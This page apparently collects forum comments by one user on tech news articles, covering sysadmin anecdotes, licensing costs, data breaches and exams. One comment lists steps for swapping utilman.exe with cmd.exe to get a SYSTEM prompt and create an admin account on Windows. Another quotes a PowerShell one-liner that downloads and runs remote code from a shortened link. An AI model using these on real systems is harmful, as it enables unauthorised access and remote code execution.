* Posts by Stu J

116 posts • joined 5 Aug 2009

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Sysadmin cracked military PC’s security by reading the manual

Stu J

Windows

1. Take hard disk out of PC

2. Hang on another PC

3. Copy cmd.exe over the top of utilman.exe (may need to fart about with permissions)

4. Put hard disk back in original PC and boot

5. Click on accessibility icon when Windows Logon screen appears

6. Marvel at the command prompt that appears running in the context of SYSTEM

7. Use command line tools to create a new user, as member of administrators group

8. Full logged-in admin access to operating system at your fingertips

Yes, Bitlocker generally thwarts this approach; but it's a fairly quick way to earn £50 for unlocking people's home PCs when they've managed to forget their password.

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National ID cards might not mean much when up against incompetence of the UK Home Office

Stu J

NI Number is already created (if not formally "issued") at birth, as anyone with children who have "Child Trust Funds" will no doubt have spotted that their child's unique reference number follows a suspiciously familiar alphanumeric pattern...

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Boss sent overpaid IT know-nothings home – until an ON switch proved elusive

Stu J

Cables under desks

As a summer job when at Uni, I worked in desktop support at a government scientific research establishment. One day I got a ticket to go and deal with the brand new CEO, who was some incredibly eminent Professor in his field. He couldn't get Outlook to update his email. After a quick ping determined no network connectivity, I followed the purple network cable out of the back of his PC, under his desk, where it was tangled with a green network cable, which was plugged into the wall socket. Plug the purple cable into the wall, and hey presto everything worked... He sheepishly admitted he'd rearranged his own office furniture and recabled things himself...

6
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Sysadmin unplugged wrong server, ran away, hoped nobody noticed

Stu J

My bet is that it was Harwell...

(radioactive)

6
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'Every little helps'... unless you want email: Tesco to kill free service

Stu J

Re: Damn

+1 for Fastmail, 14-year satisfied customer here...

1
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Apple, if you want to win in education, look at what sucks about iPads

Stu J

Walled Garden

There is no way schools should be buying in to walled gardens of any forms with the taxpayer's money.

7
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UK worker who sold customers' data to nuisance callers must cough up £1k

Stu J

Computer Misuse Act

Why wasn't he prosecuted (and jailed) under the Computer Misuse Act for unlawfully accessing a computer system for unauthorised purposes (i.e. nicking the data)...?

12
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Electric cars to create new peak hour when they all need a charge

Stu J

Re: actually no

As per some other comments, most EVs can cope with a two-way commute plus some nipping about in the evening without a recharge...

And similarly, per comments about letting the market decide - that's where smart meters come in. My car's configured not to charge between 4pm and 11:59pm, simply because my per-unit rate jumps from 11p to 24p at 4pm, back down to 11p at 7pm, and down to 5p between midnight and 6am. The only way I'm ever going to charge between 4pm and midnight is if I'm desperate... So market forces can, do, and will help spread the "load" (literally and figuratively)

3
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OK, Google: Why does Chromecast clobber Wi-Fi connections?

Stu J

Re: when in tandem...

Even better - go for the VigorBX 2000n...

> in-built VDSL modem

> 4G dongle backup option (if you want/need it)

> VOIP PBX capability (it even supports your existing analogue line and phone, but the sound quality's a bit crappy - VOIP calls using a VOIP provider is perfect though)

2
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WW2 Enigma machine to be seized from shamed pharma bro Shkreli

Stu J

Re: The sole copy of Once Upon a Time in Shaolin

Giving it away for free wouldn't be distributing it commercially...

13
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UK council fined £150k for publishing traveller family's personal data

Stu J

Grrrr

Once again, the taxpayer coughs up and the council cretins just waste more taxpayers' money.

It's about time the legislation held individuals in public sector organisations personally accountable.

If the drone responsible for the breach is paid £20k, their boss £40k, their boss £80k, and the CEO of the council £160k, then the fine should be levied vaguely proportionately on their take-home pay over the next year - the drone should pick up £0 (but may well be fired if it can be shown they've blatantly disregarded procedure), the boss £10k, the next boss £30k, the CEO £70k, and the council forced to invest the remaining £40k into systems and processes to stop it from happening again...

28
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Panasonic wants you to wear Li-Ion batteries. The ones that explode

Stu J

Re: PCMCIA

I had a PCMCIA CD-ROM drive for my A1200...

0
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Alleged hacker Lauri Love loses extradition case. Judge: Suicide safeguards in place

Stu J

This should be simple...

Did he ever set foot in the USA during, or since he committed the crime?

If no, then the USA have no jurisdiction over this case, end of, and any extradition should be automatically denied on that basis.

He should be tried in the UK though, and Aspergers isn't a defence, although it may be a mitigating factor when it comes to sentencing.

3
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App-V birthday to you, Win10: Virty tools baked in Anniversary update

Stu J

And so it begins...

Con people into using a technology, then one Windows update later, it's gone. You want it back? £££££...

Rinse, repeat.

31
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Brexit? Cutting the old-school ties would do more for Brit tech world

Stu J

You don't need money to get into Oxford or Cambridge

Just saying...

5
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ICO fines NHS trust £185K for publicly airing personnel files

Stu J

Re: Im sorry

If it's not the NHS, it's the councils losing their own taxpayers' data, then paying the fine with...their taxpayers' taxes...

Sod firing them, let's start with jail time for the execs at the top. And work down the chain. And until each level in the chain can prove that they've done everything possible to prevent data breaches, in terms of systems, policies, and training, only then does the lowly minion who actually copied the stuff onto a USB stick and left it on a train get jail time.

It's the only way the decision makers will ever take it seriously.

And no taxpayer funded body should EVER be fined, no matter what they do. It should always be someone either losing their job, or going to prison.

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Finance bods SWIFT to update after Bangladesh hack

Stu J

Cheap switches usually don't have the capability to manage and monitor, and cheap second-hand switches are usually cheap because they're EoL or near as damn it - which means any vulnerabilities in the firmware won't be fixed.

The choice of such switches at that time doesn't necessarily mean they weren't fit for purpose at that point in time, however at best it's a short-sighted approach that reflects the attitude of the morons that put them in place. More telling, however, is the lack of firewall. That's just a case of "WTF???"

0
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The web is DOOM'd: Average page now as big as id's DOS classic

Stu J

Re: Yep

Seem to remember it fit on a single 880KB floppy on the Amiga...

4
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India orders 770 million LED light bulbs, prices drop 83 per cent

Stu J

Re: Who's paying the piper?

JFYI, there are LED streetlight replacement projects running in various areas of the UK...

9
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Get lost, Windows 10 and Phone fans: No maps HERE on Microsoft's OS

Stu J

Re: I like Here.

Don't think that's anything specifically to do with the app somehow, unless it's not using the full capabilities of the GPS?

I often use Google Maps on commuter flights at speeds ranging from 0-500mph, altitudes from 0ft to 40,000ft, and never have any problems with it once the GPS locks on - and sluggish GPS lock-on isn't really an app issue.

5
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Attackers packing malware into PowerShell

Stu J

The power of PowerShell

This:

iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")

1
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SpaceX Falcon 9 grounded by 'sledgehammer' winds

Stu J

Re: Why super-cooled fuel?

Anecdotally, the diameter of the SpaceX rockets was limited by the height of the lowest bridge that Elon Musk couldn't pay to have raised or demolished, between the factory and their original test site, minus the height of the low-loader the rockets were shipped on...

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Now you can easily see if a site's HTTP headers are insecure, beams dev

Stu J

Hall of Shame

As of 11:51 GMT, "www.theregister.co.uk" is top of their Hall of Shame :-)

And no, it wasn't me that tested it, it was like that when I clicked on the link!

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TalkTalk hired BAE Systems' infosec bods before THAT hack

Stu J

TalkTalk customers - have some balls!

Just cancel your direct debit, write to TalkTalk, send them a cheque for the value of any service up to today's date so that you're fully paid up, tell them that as they have breached their due care you are unilaterally terminating your contract with them, you will no longer consume their services (I.E. unplug everything), you require them to release your MAC with immediate effect, and that you reserve the right to take further civil or criminal action against them in the event of any losses incurred, including any loss caused by not being able to use phone/Internet caused by them delaying the release of your MAC, and any legal costs incurred if they force you to take the matter to court.

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Sysadmin ignores 25 THOUSAND patches, among other sins

Stu J

Re: 25,000 patches sounds pretty bad, but...

And how does one know without manually auditing every single patch?

WSUS tells you whether patches are standalone, or if they supersede or are superseded by (or both) other patches. It's very easy to select all superseded patches and decline them, as a starter for ten...

Also, given the job this useless tit had done, it wouldn't surprise me if he'd not selected the correct product types/languages, and appropriate levels of patching, which probably would have reduced the 25,000 considerably. Additionally, older versions of Windows included patches for Itanium/IA64 which a quick search/decline in WSUS would knock a fair few off the list too (guessing on a hunch that they weren't running Itanium infrastructure).

3
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Apple Watch is such a flop it's the world's top-selling wearable

Stu J

Fucking sheep

That is all...

0
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HTC in crisis: How did it get to this point? How did it get this bad?

Stu J

Camera

HTC flagship owner for 5 years prior to this year.

Now flipped to Samsung. They caught up on pretty much everything else (apart from audio), yet HTC's camera is still woeful.

Audio, I don't care about - only use it when flying, and have decent noise cancelling headphones for that...

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Stop press! NHS trust finds G-Cloud, BUYS SOMETHING with it

Stu J

Value?

Lync on Office 365 is $5.50 per user per month, or $66 per year. Or slightly less than £45 per year.

So - aside from presumably UK-based servers - what are this company providing that allows them to charge an order of magnitude more...?

Doesn't sound like great taxpayer value to me...

0
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SanDisk launches 200GB microSD card

Stu J

Re: What's that in RPs?

Or to put it another way, if you took your cube of rampacks, and filled the same volume with 200GB microSD cards, you'd have a shade over 4.75 billion of the critters. Which would give you storage of 950 exabytes.

Based on Cisco's previous projections, you'd be able to store the entire global IP traffic for 2015 in your microSD cube.

But, to put it all into context, it's only about as much storage as 2 grams of DNA would theoretically let you store(!)

2
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Mastercard and Visa to ERADICATE password authentication

Stu J

Re: Stop with the mobile requirement already

Agreed. It's bad enough that my bank occasionally needs to text me if I try to access online banking from a new laptop; moreso because I have barely any mobile phone signal at home unless I stand on one leg in the corner of my bathroom.

If I had to do that for every online transaction - well, fuck that...

0
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Got a STRAP-ON? Remember to TAKE IT OFF at WORK

Stu J

Not just oldies

From having a mobile phone from when I was 16, I gave up wearing a watch and used my phone (and later smartphone) for time-telling duties for nearly 15 years.

Then I got a job where I have to take, on average, 35-45 flights a year. A real watch is much, much easier to use when you're on a long haul flight - you wake up, lift your blindfold a smidgin, and glance at your wrist - to realise you've only been asleep half an hour, and turbulence has just woken you up, again. Compare that to either having to contort to get a smartphone out of your pocket (whilst elbowing your sleeping neighbour in the head), or shuffling through the contents of the seatback pocket in front. One with time zone functions on it is even better...! Oh, and it doesn't run down the battery on your phone that you might actually need wherever you're going.

0
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Data entry REAR-END SNAFU: Weighty ballsup leads to plane take-off flap

Stu J

Re: "That meant the pilot had to get the jet into the air without scraping the tail on the runway."

If you read the report, the pilot had to apply a lot of force to get the nose up - however he was conscious about applying too much force, at which point there may have been a tail strike.

It's easy to have fine motor control when you're doing things well within your physical capabilities, but as you get towards the edge of your comfort zone, your accuracy will be diminished.

Most weightlifters will be able to lift lighter weights with very good form, controlling all the way up and down; you get up to maximum weight, and the form becomes far shakier, less accurate, and forget about controlling on the way down altogether.

I'm not sure how much force will have been needed, but if it's "abnormal" then you're into the unknown as far as the aircraft's performance is concerned.

0
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Elon Musk says Tesla's stock price is too high ... welp, NOT ANY MORE

Stu J

Hmmm

Tell people your stock is overvalued.

Get them to sell it to you* at a knock-down price.

Post strong results so stock price climbs again.

Repeat.

Profit.

*or your friends, or some other holding company

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Death of the business Desktop

Stu J

Licensing is the killer

As the chap above said - even if you want to roll out a thin/zero client VDI infrastructure with a 1:1 mapping between thin clients and VMs, you have to pay $100 per endpoint, per year - you can't get SA on a thin client that isn't running Windows.

So a half-decent thin client costs $300, then you have to pay $100 a year - so over 5 years, that's $800. And you could buy an equivalent fully licensed desktop for $600. So to the beancounters you're having to justify the additional expense of $200 per endpoint, on top of the storage, servers, and hypervisor licensing to run the back-end, which is, realistically, another couple of hunderd dollars per VM.

On top of that, someone who does standard desktop support and deployment probably doesn't have the first clue about managing a virtual infrastructure, so you either have to spend on consultants, send your desktop team on training courses, or hire someone with the right skills, which actually increases your spend on that aspect as well.

Where this works well is getting the economy of scale on the back-end and have someone else manage all that tin for you. Unfortunately, Microsoft also expressly forbids using the same servers OR SAN for different customers in a VDI deployment (presumably to stop people chucking their desktops into EC2).

3
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Backup software for HDD and Cloud

Stu J

Re: Backup software for HDD and Cloud

Cloudberry Lab - local and cloud backup in one, $30 for the desktop edition. 14 day free trial.

1
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New iPhones: C certainly DOESN'T stand for 'Cheap'

Stu J

Same old delusional overpriced shite

As for the price, I got an HTC One free of charge on a 2 year £32/month contract. And you're telling me I'd have to pay a wedge up front, as well as an extortionate contract for that gaudy plastic piece of 5C shite?

They really are a cult, aren't they?

3
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Boris Johnson floats idea of 'London visa' to attract tech talent

Stu J

Three words

Fuck. Off. Boris.

3
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Hypersonic 'scramjet' aims for Mach 8 test flight

Stu J
FAIL

Re: Ok what have I missed

Dont know where the hell you got 8600000 from, it's close to 2700 - so a bit less than 5 minutes...

0
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VMware goes after biz critical apps with vSphere 5.5

Stu J

"The vSphere HA feature is still, as far as we know, limited to VMs that span only a single core"

You're getting HA (high availability - auto restart of VMs on a failed host) mixed up with FT (zero-downtime "migration" of VM from a failed host to a live host). Apparently multi-core FT is in development, but is a far trickier beast than single-core FT to get right...

1
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Sony coughs up £250K ICO fine after security fears

Stu J
FAIL

So...

...relying on security by obscurity then? Bad, bad Sony...

5
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Are driverless cars the death knell of the motor biz?

Stu J

Anyone who suggests this doesn't have young kids, as the mess they make is fucking horrific. I don't want to have to clean up after them sufficiently for a complete stranger to use the car at the end of every single journey...!

5
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Not so fast with the bubbly, RM: IT biz faces £40m schools-sized hole

Stu J
WTF?

Re: Bad news for RM - but is it bad news overall?

"schools own In-house it staff"..."real talent being lost"

You're having a fucking laugh aren't you???

1
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EU chucks €18m at research for stupidly fast networks

Stu J

Japan?

Why is the EU sending EU taxpayer funds out of the EU when there are plenty of companies in the EU who could take on more staff and benefit our combined economy if they were awarded the gig?

8
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Apple dodged all UK corporation tax in 2012

Stu J
FAIL

Why don't we just...

Declare that:

using anything *deemed* to be a tax avoidance measure, such as (but not limited to):

> artificially induced debts

> paying over the odds for goods from subsidiaries located in other jurisdictions

> paying over-the-top license fees to subsidiaries located in other jurisdictions

is illegal and will:

a) result in the CFO going to prison if the evaded liability is >£250,000, and

b) will result in "tax avoidance" measures not only being treated as though they're not there, but as though they had the *opposite* effect when calculating tax owed

Corporations can protect themselves by being completely honest, open, and up-front with HMRC about any schemes which might look even slightly dodgy, and HMRC can audit them up-front to determine what the effect on the tax liability is, and whether or not it's a legitimate transaction, or if it's designed to avoid paying tax.

That way, anything that isn't declared up front is entirely subjective, and HMRC can go around nobbling corporations left, right, and centre.

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Nominet sacks freshly-hired exec implicated in hospital 'cover-up' scandal

Stu J

Most probation periods in contracts merely result in an increased notice period, if that.

Gov changed the law last year - provided it's not discriminatory you can dismiss anyone up to 2 years service with no reason, and no right for them to claim unfair dismissal.

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IT mercenaries and buy-to-let landlords are my HEROES - here's why

Stu J

Re: Time to get nuclear on some behinds

You'd need to take into account the following costs as a bare minimum, as well as mortgage interest:

buildings insurance/maintenance charges

landlord's insurance

general maintenance (drip feed fund to pay for redecoration, replacement of fixtures and fittings etc...)

Of course, you pay for most of these as a homeowner anyway, it's just not the headline cost of the mortgage.

As for the homeless thing, that's bull. If someone isn't paying the bills, they should be evicted - private landlords aren't charities, and if they invest in a property, whilst I don't agree on them making a whopping profit up-front, they shouldn't be forced to make a loss.

I fully intend to rely on bricks-and-mortar as my pension - a property you own outright that gives you a regular monthly income is far safer than most financial instruments, IMO.

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Silicon Valley digiterati to brainstorm at 30,000 ft

Stu J

130 people on a long-haul BA flight?

Either they're all in Economy Class, or there's going to be a bun-fight for the First/Club/Premium seats...

0
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Charity chief: Get with it, gov - kids shouldn't have to write by hand

Stu J
Flame

Re: In some regards, he has a point though

"Bollocks! It's very important to understand how you got there, if I am testing someone for their ability in my subject area I am more interested on their thought processes rather than the end result."

Agreed. And in all of my mathematical and scientific exams, proof of working was key, and was what got you most of the marks. But to an examiner marking an essay, they have no real proof of the thought process; essay plans and rough notes don't get handed in and marked. All they mark on is the end result, ergo for those exams, that's what actually counts.

"That kind of suggests you missed the point of OOP. If you find you having to duplicate lots of code (copy/paste/ditto) then you've got your model wrong, especially in an academic exam!"

As I've mentioned elsewhere, a lot of it was the structure of the questioning. I'm extremely capable of OOP, and I find it mildly amusing/insulting that ignorant commentards on here should start pointing the finger at me, rather than the insane format of the exam and the questioning. I wasn't the only one who came out of that exam swearing, and trying to hunt down the academic in question so we could throw him off the nearest tall building. The exam was so crap that the mark distribution from the 30th to 70th centiles was 5%, meaning that one mark cost you a degree class on that paper.

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Stu J
Flame

Re: In some regards, he has a point though

Your reply tells me that you clearly missed my point, and are sufficiently foolish to jump to conclusions and bandy insults around based on your misinterpretations. I can think outside of an equation, could do then, and still can now. I got a high B grade in General Studies despite not being able to finish the paper properly.

For two years of study at A-Level, I had not had the *need* to write anything other than equations, formulae, and the odd sentence, because that was the demand of those subjects. Two years of low-level usage of the muscles in my hand needed to write. I didn't spend my evenings at home practicing writing, beyond doing my A-Level homework - I was 16/17/18 - I was down the pub, chasing girls. But, all of a sudden, you are expected to spend 3 hour exams doing solid writing. It's not something you can just switch on...

If you jog 3 miles a day, 5 days a week, for 2 years, and then I ask you to run for 3 hours solid, do you think your body could do it? Muscles are trained over time. The people who had been training their hands to be able to write for 3 hours at a time (generally arts students) produced 2-3x more output than the scientists in the General Studies exam. It's no co-incidence.

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Stu J

Re: In some regards, he has a point though

The 20 sides was all of the questions in a 3 hour exam, and includes brackets, variable declarations, and so on.

And given this is academia, I'd go with the first explanation - the examiners didn't have a clue. We were all equally disadvantaged, so I'm not whinging about it being explicitly fair/unfair, just that a hand-written exam where you're asking people to produce hundreds of lines of code is a ridiculous way of examining programming ability.

And some of this was just repetition from one question to the next, to be honest; e.g. "Define a class that does X and Y". "Now define a class that does X slightly tweaked, Y slightly tweaked, and Z" - mindless repetition and copying that would have been a doddle if Ctrl+C and Ctrl+V had been available...

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